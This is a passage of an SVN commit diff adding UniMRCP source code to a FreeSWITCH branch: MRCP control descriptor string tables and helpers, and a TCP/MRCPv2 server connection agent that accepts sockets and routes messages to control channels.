+	{{"channel",    7},1},
+	{{"cmid",       4},1}
+};
+
+/** String table of mrcp setup attribute values (mrcp_setup_type_e) */
+static const apt_str_table_item_t mrcp_setup_value_table[] = {
+	{{"active",      6},0},
+	{{"passive",     7},0}
+};
+
+/** String table of mrcp connection attribute values (mrcp_connection_type_e) */
+static const apt_str_table_item_t mrcp_connection_value_table[] = {
+	{{"new",         3},0},
+	{{"existing",    8},0}
+};
+
+
+MRCP_DECLARE(const apt_str_t*) mrcp_proto_get(mrcp_proto_type_e proto)
+{
+	return apt_string_table_str_get(mrcp_proto_type_table,MRCP_PROTO_COUNT,proto);
+}
+
+MRCP_DECLARE(mrcp_proto_type_e) mrcp_proto_find(const apt_str_t *attrib)
+{
+	return apt_string_table_id_find(mrcp_proto_type_table,MRCP_PROTO_COUNT,attrib);
+}
+
+MRCP_DECLARE(const apt_str_t*) mrcp_attrib_str_get(mrcp_attrib_e attrib_id)
+{
+	return apt_string_table_str_get(mrcp_attrib_table,MRCP_ATTRIB_COUNT,attrib_id);
+}
+
+MRCP_DECLARE(mrcp_attrib_e) mrcp_attrib_id_find(const apt_str_t *attrib)
+{
+	return apt_string_table_id_find(mrcp_attrib_table,MRCP_ATTRIB_COUNT,attrib);
+}
+
+MRCP_DECLARE(const apt_str_t*) mrcp_setup_type_get(mrcp_setup_type_e setup_type)
+{
+	return apt_string_table_str_get(mrcp_setup_value_table,MRCP_SETUP_TYPE_COUNT,setup_type);
+}
+
+MRCP_DECLARE(mrcp_setup_type_e) mrcp_setup_type_find(const apt_str_t *attrib)
+{
+	return apt_string_table_id_find(mrcp_setup_value_table,MRCP_SETUP_TYPE_COUNT,attrib);
+}
+
+MRCP_DECLARE(const apt_str_t*) mrcp_connection_type_get(mrcp_connection_type_e connection_type)
+{
+	return apt_string_table_str_get(mrcp_connection_value_table,MRCP_CONNECTION_TYPE_COUNT,connection_type);
+}
+
+MRCP_DECLARE(mrcp_connection_type_e) mrcp_connection_type_find(const apt_str_t *attrib)
+{
+	return apt_string_table_id_find(mrcp_connection_value_table,MRCP_CONNECTION_TYPE_COUNT,attrib);
+}
+
+/** Create MRCP control offer */
+MRCP_DECLARE(mrcp_control_descriptor_t*) mrcp_control_offer_create(apr_pool_t *pool)
+{
+	mrcp_control_descriptor_t *offer;
+	offer = apr_palloc(pool,sizeof(mrcp_control_descriptor_t));
+	mrcp_control_descriptor_init(offer);
+	offer->proto = MRCP_PROTO_TCP;
+	offer->port = 9;
+	offer->setup_type = MRCP_SETUP_TYPE_ACTIVE;
+	offer->connection_type = MRCP_CONNECTION_TYPE_EXISTING;
+	return offer;
+}
+
+/** Create MRCP control answer */
+MRCP_DECLARE(mrcp_control_descriptor_t*) mrcp_control_answer_create(mrcp_control_descriptor_t *offer, apr_pool_t *pool)
+{
+	mrcp_control_descriptor_t *answer;
+	answer = apr_palloc(pool,sizeof(mrcp_control_descriptor_t));
+	mrcp_control_descriptor_init(answer);
+	if(offer) {
+		*answer = *offer;
+	}
+	answer->setup_type = MRCP_SETUP_TYPE_PASSIVE;
+	return answer;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_server_connection.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_server_connection.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_server_connection.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_server_connection.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_server_connection.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,766 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_connection.h"
+#include "mrcp_server_connection.h"
+#include "mrcp_control_descriptor.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_message.h"
+#include "apt_text_stream.h"
+#include "apt_task.h"
+#include "apt_pool.h"
+#include "apt_pollset.h"
+#include "apt_cyclic_queue.h"
+#include "apt_log.h"
+
+#define MRCPV2_CONNECTION_TASK_NAME "TCP/MRCPv2 Connection Agent"
+
+struct mrcp_connection_agent_t {
+	apr_pool_t              *pool;
+	apt_task_t              *task;
+	mrcp_resource_factory_t *resource_factory;
+
+	apt_obj_list_t          *connection_list;
+	mrcp_connection_t       *null_connection;
+
+	apt_bool_t               force_new_connection;
+	apr_size_t               max_connection_count;
+
+	apr_sockaddr_t          *sockaddr;
+	/* Listening socket */
+	apr_socket_t            *listen_sock;
+	apr_pollfd_t             listen_sock_pfd;
+
+	apr_thread_mutex_t      *guard;
+	apt_cyclic_queue_t      *msg_queue;
+	apt_pollset_t           *pollset;
+
+	void                                 *obj;
+	const mrcp_connection_event_vtable_t *vtable;
+};
+
+typedef enum {
+	CONNECTION_TASK_MSG_ADD_CHANNEL,
+	CONNECTION_TASK_MSG_MODIFY_CHANNEL,
+	CONNECTION_TASK_MSG_REMOVE_CHANNEL,
+	CONNECTION_TASK_MSG_SEND_MESSAGE,
+	CONNECTION_TASK_MSG_TERMINATE
+} connection_task_msg_type_e;
+
+typedef struct connection_task_msg_t connection_task_msg_t;
+struct connection_task_msg_t {
+	connection_task_msg_type_e type;
+	mrcp_connection_agent_t   *agent;
+	mrcp_control_channel_t    *channel;
+	mrcp_control_descriptor_t *descriptor;
+	mrcp_message_t            *message;
+};
+
+static apt_bool_t mrcp_server_agent_task_run(apt_task_t *task);
+static apt_bool_t mrcp_server_agent_task_terminate(apt_task_t *task);
+static apt_bool_t mrcp_server_agent_task_on_destroy(apt_task_t *task);
+
+/** Create connection agent */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_server_connection_agent_create(
+										const char *listen_ip,
+										apr_port_t listen_port,
+										apr_size_t max_connection_count,
+										apt_bool_t force_new_connection,
+										apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	mrcp_connection_agent_t *agent;
+
+	if(!listen_ip) {
+		return NULL;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "MRCPV2_CONNECTION_TASK_NAME" %s:%hu [%d]",listen_ip,listen_port,max_connection_count);
+	agent = apr_palloc(pool,sizeof(mrcp_connection_agent_t));
+	agent->pool = pool;
+	agent->sockaddr = NULL;
+	agent->listen_sock = NULL;
+	agent->pollset = NULL;
+	agent->max_connection_count = max_connection_count;
+	agent->force_new_connection = force_new_connection;
+
+	apr_sockaddr_info_get(&agent->sockaddr,listen_ip,APR_INET,listen_port,0,agent->pool);
+	if(!agent->sockaddr) {
+		return NULL;
+	}
+
+	agent->task = apt_task_create(agent,NULL,pool);
+	if(!agent->task) {
+		return NULL;
+	}
+
+	apt_task_name_set(agent->task,MRCPV2_CONNECTION_TASK_NAME);
+	vtable = apt_task_vtable_get(agent->task);
+	if(vtable) {
+		vtable->run = mrcp_server_agent_task_run;
+		vtable->terminate = mrcp_server_agent_task_terminate;
+		vtable->destroy = mrcp_server_agent_task_on_destroy;
+	}
+
+	agent->msg_queue = apt_cyclic_queue_create(CYCLIC_QUEUE_DEFAULT_SIZE);
+	apr_thread_mutex_create(&agent->guard,APR_THREAD_MUTEX_UNNESTED,pool);
+
+	agent->connection_list = NULL;
+	agent->null_connection = NULL;
+	return agent;
+}
+
+/** Virtual destroy handler. */
+static apt_bool_t mrcp_server_agent_task_on_destroy(apt_task_t *task)
+{
+	mrcp_connection_agent_t *agent = apt_task_object_get(task);
+	if(agent->guard) {
+		apr_thread_mutex_destroy(agent->guard);
+		agent->guard = NULL;
+	}
+	if(agent->msg_queue) {
+		apt_cyclic_queue_destroy(agent->msg_queue);
+		agent->msg_queue = NULL;
+	}
+	return TRUE;
+}
+
+/** Destroy connection agent. */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_destroy(mrcp_connection_agent_t *agent)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy MRCPv2 Agent");
+	return apt_task_destroy(agent->task);
+}
+
+/** Start connection agent. */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_start(mrcp_connection_agent_t *agent)
+{
+	return apt_task_start(agent->task);
+}
+
+/** Terminate connection agent. */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_terminate(mrcp_connection_agent_t *agent)
+{
+	return apt_task_terminate(agent->task,TRUE);
+}
+
+/** Set connection event handler. */
+MRCP_DECLARE(void) mrcp_server_connection_agent_handler_set(
+									mrcp_connection_agent_t *agent, 
+									void *obj, 
+									const mrcp_connection_event_vtable_t *vtable)
+{
+	agent->obj = obj;
+	agent->vtable = vtable;
+}
+
+/** Set MRCP resource factory */
+MRCP_DECLARE(void) mrcp_server_connection_resource_factory_set(
+								mrcp_connection_agent_t *agent, 
+								mrcp_resource_factory_t *resource_factroy)
+{
+	agent->resource_factory = resource_factroy;
+}
+
+/** Get task */
+MRCP_DECLARE(apt_task_t*) mrcp_server_connection_agent_task_get(mrcp_connection_agent_t *agent)
+{
+	return agent->task;
+}
+
+/** Get external object */
+MRCP_DECLARE(void*) mrcp_server_connection_agent_object_get(mrcp_connection_agent_t *agent)
+{
+	return agent->obj;
+}
+
+/** Create MRCPv2 control channel */
+MRCP_DECLARE(mrcp_control_channel_t*) mrcp_server_control_channel_create(mrcp_connection_agent_t *agent, void *obj, apr_pool_t *pool)
+{
+	mrcp_control_channel_t *channel = apr_palloc(pool,sizeof(mrcp_control_channel_t));
+	channel->agent = agent;
+	channel->connection = NULL;
+	channel->removed = FALSE;
+	channel->obj = obj;
+	channel->pool = pool;
+	return channel;
+}
+
+/** Destroy MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_destroy(mrcp_control_channel_t *channel)
+{
+	if(channel && channel->connection && channel->removed == TRUE) {
+		mrcp_connection_t *connection = channel->connection;
+		channel->connection = NULL;
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy TCP/MRCPv2 Connection %s",connection->id);
+		mrcp_connection_destroy(connection);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_control_message_signal(
+								connection_task_msg_type_e type,
+								mrcp_connection_agent_t *agent,
+								mrcp_control_channel_t *channel,
+								mrcp_control_descriptor_t *descriptor,
+								mrcp_message_t *message)
+{
+	apt_bool_t status;
+	connection_task_msg_t *msg = apr_palloc(channel->pool,sizeof(connection_task_msg_t));
+	msg->type = type;
+	msg->agent = agent;
+	msg->channel = channel;
+	msg->descriptor = descriptor;
+	msg->message = message;
+
+	apr_thread_mutex_lock(agent->guard);
+	status = apt_cyclic_queue_push(agent->msg_queue,msg);
+	apr_thread_mutex_unlock(agent->guard);
+	if(apt_pollset_wakeup(agent->pollset) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Signal Control Message");
+		status = FALSE;
+	}
+	return status;
+}
+
+/** Add MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_add(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor)
+{
+	return mrcp_server_control_message_signal(CONNECTION_TASK_MSG_ADD_CHANNEL,channel->agent,channel,descriptor,NULL);
+}
+
+/** Modify MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_modify(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor)
+{
+	return mrcp_server_control_message_signal(CONNECTION_TASK_MSG_MODIFY_CHANNEL,channel->agent,channel,descriptor,NULL);
+}
+
+/** Remove MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_remove(mrcp_control_channel_t *channel)
+{
+	return mrcp_server_control_message_signal(CONNECTION_TASK_MSG_REMOVE_CHANNEL,channel->agent,channel,NULL,NULL);
+}
+
+/** Send MRCPv2 message */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_message_send(mrcp_control_channel_t *channel, mrcp_message_t *message)
+{
+	return mrcp_server_control_message_signal(CONNECTION_TASK_MSG_SEND_MESSAGE,channel->agent,channel,NULL,message);
+}
+
+
+static apt_bool_t mrcp_server_agent_listen_socket_create(mrcp_connection_agent_t *agent)
+{
+	apr_status_t status;
+	if(!agent->sockaddr) {
+		return FALSE;
+	}
+
+	/* create listening socket */
+	status = apr_socket_create(&agent->listen_sock, agent->sockaddr->family, SOCK_STREAM, APR_PROTO_TCP, agent->pool);
+	if(status != APR_SUCCESS) {
+		return FALSE;
+	}
+
+	apr_socket_opt_set(agent->listen_sock, APR_SO_NONBLOCK, 0);
+	apr_socket_timeout_set(agent->listen_sock, -1);
+	apr_socket_opt_set(agent->listen_sock, APR_SO_REUSEADDR, 1);
+
+	status = apr_socket_bind(agent->listen_sock, agent->sockaddr);
+	if(status != APR_SUCCESS) {
+		apr_socket_close(agent->listen_sock);
+		agent->listen_sock = NULL;
+		return FALSE;
+	}
+	status = apr_socket_listen(agent->listen_sock, SOMAXCONN);
+	if(status != APR_SUCCESS) {
+		apr_socket_close(agent->listen_sock);
+		agent->listen_sock = NULL;
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+static void mrcp_server_agent_listen_socket_destroy(mrcp_connection_agent_t *agent)
+{
+	if(agent->listen_sock) {
+		apr_socket_close(agent->listen_sock);
+		agent->listen_sock = NULL;
+	}
+}
+
+static apt_bool_t mrcp_server_agent_pollset_create(mrcp_connection_agent_t *agent)
+{
+	/* create pollset */
+	agent->pollset = apt_pollset_create((apr_uint32_t)agent->max_connection_count + 1, agent->pool);
+	if(!agent->pollset) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	if(mrcp_server_agent_listen_socket_create(agent) == TRUE) {
+		/* add listen socket to pollset */
+		memset(&agent->listen_sock_pfd,0,sizeof(apr_pollfd_t));
+		agent->listen_sock_pfd.desc_type = APR_POLL_SOCKET;
+		agent->listen_sock_pfd.reqevents = APR_POLLIN;
+		agent->listen_sock_pfd.desc.s = agent->listen_sock;
+		agent->listen_sock_pfd.client_data = agent->listen_sock;
+		if(apt_pollset_add(agent->pollset, &agent->listen_sock_pfd) != TRUE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Add Listen Socket to Pollset");
+			mrcp_server_agent_listen_socket_destroy(agent);
+		}
+	}
+	else {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Listen Socket");
+	}
+
+	return TRUE;
+}
+
+static void mrcp_server_agent_pollset_destroy(mrcp_connection_agent_t *agent)
+{
+	mrcp_server_agent_listen_socket_destroy(agent);
+	if(agent->pollset) {
+		apt_pollset_destroy(agent->pollset);
+		agent->pollset = NULL;
+	}
+}
+
+
+static mrcp_control_channel_t* mrcp_connection_channel_associate(mrcp_connection_agent_t *agent, mrcp_connection_t *connection, const mrcp_message_t *message)
+{
+	apt_str_t identifier;
+	mrcp_control_channel_t *channel;
+	if(!connection || !message) {
+		return NULL;
+	}
+	apt_id_resource_generate(&message->channel_id.session_id,&message->channel_id.resource_name,'@',&identifier,connection->pool);
+	channel = mrcp_connection_channel_find(connection,&identifier);
+	if(!channel) {
+		channel = mrcp_connection_channel_find(agent->null_connection,&identifier);
+		if(channel) {
+			mrcp_connection_channel_remove(agent->null_connection,channel);
+			mrcp_connection_channel_add(connection,channel);
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Move Control Channel <%s> to Connection %s [%d]",
+				channel->identifier.buf,
+				connection->id,
+				apr_hash_count(connection->channel_table));
+		}
+	}
+	return channel;
+}
+
+static mrcp_connection_t* mrcp_connection_find(mrcp_connection_agent_t *agent, const apt_str_t *remote_ip)
+{
+	mrcp_connection_t *connection = NULL;
+	apt_list_elem_t *elem;
+	if(!agent || !agent->connection_list || !remote_ip) {
+		return NULL;
+	}
+
+	elem = apt_list_first_elem_get(agent->connection_list);
+	/* walk through the list of connections */
+	while(elem) {
+		connection = apt_list_elem_object_get(elem);
+		if(connection) {
+			if(apt_string_compare(&connection->remote_ip,remote_ip) == TRUE) {
+				return connection;
+			}
+		}
+		elem = apt_list_next_elem_get(agent->connection_list,elem);
+	}
+	return NULL;
+}
+
+static apt_bool_t mrcp_connection_remove(mrcp_connection_agent_t *agent, mrcp_connection_t *connection)
+{
+	if(connection->it) {
+		apt_list_elem_remove(agent->connection_list,connection->it);
+		connection->it = NULL;
+	}
+	if(agent->null_connection) {
+		if(apt_list_is_empty(agent->connection_list) == TRUE && apr_hash_count(agent->null_connection->channel_table) == 0) {
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Destroy Pending Connection");
+			mrcp_connection_destroy(agent->null_connection);
+			agent->null_connection = NULL;
+			agent->connection_list = NULL;
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_agent_connection_accept(mrcp_connection_agent_t *agent)
+{
+	char *local_ip = NULL;
+	char *remote_ip = NULL;
+	apr_socket_t *sock;
+	apr_pool_t *pool;
+	mrcp_connection_t *connection;
+
+	if(!agent->null_connection) {
+		pool = apt_pool_create();
+		if(apr_socket_accept(&sock,agent->listen_sock,pool) != APR_SUCCESS) {
+			return FALSE;
+		}
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Rejected TCP/MRCPv2 Connection");
+		apr_socket_close(sock);
+		apr_pool_destroy(pool);
+		return FALSE;
+	}
+
+	pool = agent->null_connection->pool;
+	if(apr_socket_accept(&sock,agent->listen_sock,pool) != APR_SUCCESS) {
+		return FALSE;
+	}
+
+	connection = mrcp_connection_create();
+	connection->sock = sock;
+
+	if(apr_socket_addr_get(&connection->r_sockaddr,APR_REMOTE,sock) != APR_SUCCESS ||
+		apr_socket_addr_get(&connection->l_sockaddr,APR_LOCAL,sock) != APR_SUCCESS) {
+		apr_socket_close(sock);
+		mrcp_connection_destroy(connection);
+		return FALSE;
+	}
+
+	apr_sockaddr_ip_get(&local_ip,connection->l_sockaddr);
+	apr_sockaddr_ip_get(&remote_ip,connection->r_sockaddr);
+	apt_string_set(&connection->remote_ip,remote_ip);
+	connection->id = apr_psprintf(connection->pool,"%s:%hu <-> %s:%hu",
+		local_ip,connection->l_sockaddr->port,
+		remote_ip,connection->r_sockaddr->port);
+
+	memset(&connection->sock_pfd,0,sizeof(apr_pollfd_t));
+	connection->sock_pfd.desc_type = APR_POLL_SOCKET;
+	connection->sock_pfd.reqevents = APR_POLLIN;
+	connection->sock_pfd.desc.s = connection->sock;
+	connection->sock_pfd.client_data = connection;
+	if(apt_pollset_add(agent->pollset, &connection->sock_pfd) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Add to Pollset");
+		apr_socket_close(sock);
+		mrcp_connection_destroy(connection);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Accepted TCP/MRCPv2 Connection %s",connection->id);
+	connection->agent = agent;
+	connection->it = apt_list_push_back(agent->connection_list,connection,connection->pool);
+	connection->parser = mrcp_parser_create(agent->resource_factory,connection->pool);
+	connection->generator = mrcp_generator_create(agent->resource_factory,connection->pool);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_agent_connection_close(mrcp_connection_agent_t *agent, mrcp_connection_t *connection)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"TCP/MRCPv2 Peer Disconnected %s",connection->id);
+	apt_pollset_remove(agent->pollset,&connection->sock_pfd);
+	apr_socket_close(connection->sock);
+	connection->sock = NULL;
+	if(!connection->access_count) {
+		mrcp_connection_remove(agent,connection);
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy TCP/MRCPv2 Connection %s",connection->id);
+		mrcp_connection_destroy(connection);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_agent_channel_add(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel, mrcp_control_descriptor_t *offer)
+{
+	mrcp_control_descriptor_t *answer = mrcp_control_answer_create(offer,channel->pool);
+	apt_id_resource_generate(&offer->session_id,&offer->resource_name,'@',&channel->identifier,channel->pool);
+	if(offer->port) {
+		answer->port = agent->sockaddr->port;
+	}
+	if(offer->connection_type == MRCP_CONNECTION_TYPE_EXISTING) {
+		if(agent->force_new_connection == TRUE) {
+			/* force client to establish new connection */
+			answer->connection_type = MRCP_CONNECTION_TYPE_NEW;
+		}
+		else {
+			mrcp_connection_t *connection = NULL;
+			/* try to find any existing connection */
+			connection = mrcp_connection_find(agent,&offer->ip);
+			if(!connection) {
+				/* no existing conection found, force the new one */
+				answer->connection_type = MRCP_CONNECTION_TYPE_NEW;
+			}
+		}
+	}
+
+	if(!agent->null_connection) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Create Pending Connection");
+		agent->null_connection = mrcp_connection_create();
+		agent->connection_list = apt_list_create(agent->null_connection->pool);
+	}
+	mrcp_connection_channel_add(agent->null_connection,channel);	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add Control Channel <%s> to Pending Connection [%d]",
+			channel->identifier.buf,
+			apr_hash_count(agent->null_connection->channel_table));
+	/* send response */
+	return mrcp_control_channel_add_respond(agent->vtable,channel,answer,TRUE);
+}
+
+static apt_bool_t mrcp_server_agent_channel_modify(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel, mrcp_control_descriptor_t *offer)
+{
+	mrcp_control_descriptor_t *answer = mrcp_control_answer_create(offer,channel->pool);
+	if(offer->port) {
+		answer->port = agent->sockaddr->port;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Modify Control Channel <%s>",channel->identifier.buf);
+	/* send response */
+	return mrcp_control_channel_modify_respond(agent->vtable,channel,answer,TRUE);
+}
+
+static apt_bool_t mrcp_server_agent_channel_remove(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel)
+{
+	mrcp_connection_t *connection = channel->connection;
+	mrcp_connection_channel_remove(connection,channel);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove Control Channel <%s> [%d]",
+			channel->identifier.buf,
+			apr_hash_count(connection->channel_table));
+	if(!connection->access_count) {
+		if(connection == agent->null_connection) {
+			if(apt_list_is_empty(agent->connection_list) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Destroy Pending Connection");
+				mrcp_connection_destroy(agent->null_connection);
+				agent->null_connection = NULL;
+				agent->connection_list = NULL;
+			}
+		}
+		else if(!connection->sock) {
+			mrcp_connection_remove(agent,connection);
+			/* set connection to be destroyed on channel destroy */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Mark Connection for Late Destroy");
+			channel->connection = connection;
+			channel->removed = TRUE;
+		}
+	}
+	/* send response */
+	return mrcp_control_channel_remove_respond(agent->vtable,channel,TRUE);
+}
+
+static apt_bool_t mrcp_server_agent_messsage_send(mrcp_connection_agent_t *agent, mrcp_connection_t *connection, mrcp_message_t *message)
+{
+	apt_bool_t status = FALSE;
+	apt_text_stream_t *stream;
+	mrcp_stream_result_e result;
+	if(!connection || !connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No MRCPv2 Connection");
+		return FALSE;
+	}
+	stream = &connection->tx_stream;
+
+	mrcp_generator_message_set(connection->generator,message);
+	do {
+		apt_text_stream_init(&connection->tx_stream,connection->tx_buffer,sizeof(connection->tx_buffer)-1);
+		result = mrcp_generator_run(connection->generator,stream);
+		if(result == MRCP_STREAM_MESSAGE_COMPLETE || result == MRCP_STREAM_MESSAGE_TRUNCATED) {
+			stream->text.length = stream->pos - stream->text.buf;
+			*stream->pos = '\0';
+
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send MRCPv2 Stream %s [%lu bytes]\n%s",
+				connection->id,
+				stream->text.length,
+				stream->text.buf);
+			if(apr_socket_send(connection->sock,stream->text.buf,&stream->text.length) == APR_SUCCESS) {
+				status = TRUE;
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send MRCPv2 Stream");
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate MRCPv2 Stream");
+		}
+	}
+	while(result == MRCP_STREAM_MESSAGE_TRUNCATED);
+
+	return status;
+}
+
+static apt_bool_t mrcp_server_message_handler(void *obj, mrcp_message_t *message, mrcp_stream_result_e result)
+{
+	mrcp_connection_t *connection = obj;
+	mrcp_connection_agent_t *agent = connection->agent;
+	if(result == MRCP_STREAM_MESSAGE_COMPLETE) {
+		/* message is completely parsed */
+		mrcp_control_channel_t *channel = mrcp_connection_channel_associate(agent,connection,message);
+		if(channel) {
+			mrcp_connection_message_receive(agent->vtable,channel,message);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Find Channel <%s@%s> in Connection %s",
+				message->channel_id.session_id.buf,
+				message->channel_id.resource_name.buf,
+				connection->id);
+		}
+	}
+	else if(result == MRCP_STREAM_MESSAGE_INVALID) {
+		/* error case */
+		mrcp_message_t *response;
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse MRCPv2 Stream");
+		response = mrcp_response_create(message,message->pool);
+		response->start_line.status_code = MRCP_STATUS_CODE_UNRECOGNIZED_MESSAGE;
+		if(mrcp_server_agent_messsage_send(agent,connection,response) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send MRCPv2 Response");
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_agent_messsage_receive(mrcp_connection_agent_t *agent, mrcp_connection_t *connection)
+{
+	apr_status_t status;
+	apr_size_t offset;
+	apr_size_t length;
+	apt_text_stream_t *stream;
+
+	if(!connection || !connection->sock) {
+		return FALSE;
+	}
+	stream = &connection->rx_stream;
+	
+	/* init length of the stream */
+	stream->text.length = sizeof(connection->rx_buffer)-1;
+	/* calculate offset remaining from the previous receive / if any */
+	offset = stream->pos - stream->text.buf;
+	/* calculate available length */
+	length = stream->text.length - offset;
+	status = apr_socket_recv(connection->sock,stream->pos,&length);
+	if(status == APR_EOF || length == 0) {
+		return mrcp_server_agent_connection_close(agent,connection);
+	}
+	/* calculate actual length of the stream */
+	stream->text.length = offset + length;
+	stream->pos[length] = '\0';
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive MRCPv2 Stream %s [%lu bytes]\n%s",
+		connection->id,
+		length,
+		stream->pos);
+
+	/* reset pos */
+	stream->pos = stream->text.buf;
+	/* walk through the stream parsing RTSP messages */
+	return mrcp_stream_walk(connection->parser,stream,mrcp_server_message_handler,connection);
+}
+
+static apt_bool_t mrcp_server_agent_control_process(mrcp_connection_agent_t *agent)
+{
+	apt_bool_t status = TRUE;
+	apt_bool_t running = TRUE;
+	connection_task_msg_t *msg;
+
+	do {
+		apr_thread_mutex_lock(agent->guard);
+		msg = apt_cyclic_queue_pop(agent->msg_queue);
+		apr_thread_mutex_unlock(agent->guard);
+		if(msg) {
+			switch(msg->type) {
+				case CONNECTION_TASK_MSG_ADD_CHANNEL:
+					mrcp_server_agent_channel_add(agent,msg->channel,msg->descriptor);
+					break;
+				case CONNECTION_TASK_MSG_MODIFY_CHANNEL:
+					mrcp_server_agent_channel_modify(agent,msg->channel,msg->descriptor);
+					break;
+				case CONNECTION_TASK_MSG_REMOVE_CHANNEL:
+					mrcp_server_agent_channel_remove(agent,msg->channel);
+					break;
+				case CONNECTION_TASK_MSG_SEND_MESSAGE:
+					mrcp_server_agent_messsage_send(agent,msg->channel->connection,msg->message);
+					break;
+				case CONNECTION_TASK_MSG_TERMINATE:
+					status = FALSE;
+					break;
+			}
+		}
+		else {
+			running = FALSE;
+		}
+	}
+	while(running == TRUE);
+	return status;
+}
+
+static apt_bool_t mrcp_server_agent_task_run(apt_task_t *task)
+{
+	mrcp_connection_agent_t *agent = apt_task_object_get(task);
+	apt_bool_t running = TRUE;
+	apr_status_t status;
+	apr_int32_t num;
+	const apr_pollfd_t *ret_pfd;
+	int i;
+
+	if(!agent) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start MRCPv2 Agent");
+		return FALSE;
+	}
+
+	if(mrcp_server_agent_pollset_create(agent) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	while(running) {
+		status = apt_pollset_poll(agent->pollset, -1, &num, &ret_pfd);
+		if(status != APR_SUCCESS) {
+			continue;
+		}
+		for(i = 0; i < num; i++) {
+			if(ret_pfd[i].desc.s == agent->listen_sock) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Accept MRCPv2 Connection");
+				mrcp_server_agent_connection_accept(agent);
+				continue;
+			}
+			if(apt_pollset_is_wakeup(agent->pollset,&ret_pfd[i])) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Control Message");
+				if(mrcp_server_agent_control_process(agent) == FALSE) {
+					running = FALSE;
+					break;
+				}
+				continue;
+			}
+	
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process MRCPv2 Message");
+			mrcp_server_agent_messsage_receive(agent,ret_pfd[i].client_data);
+		}
+	}
+
+	mrcp_server_agent_pollset_destroy(agent);
+
+	apt_task_child_terminate(agent->task);
+	return TRUE;
+}
+
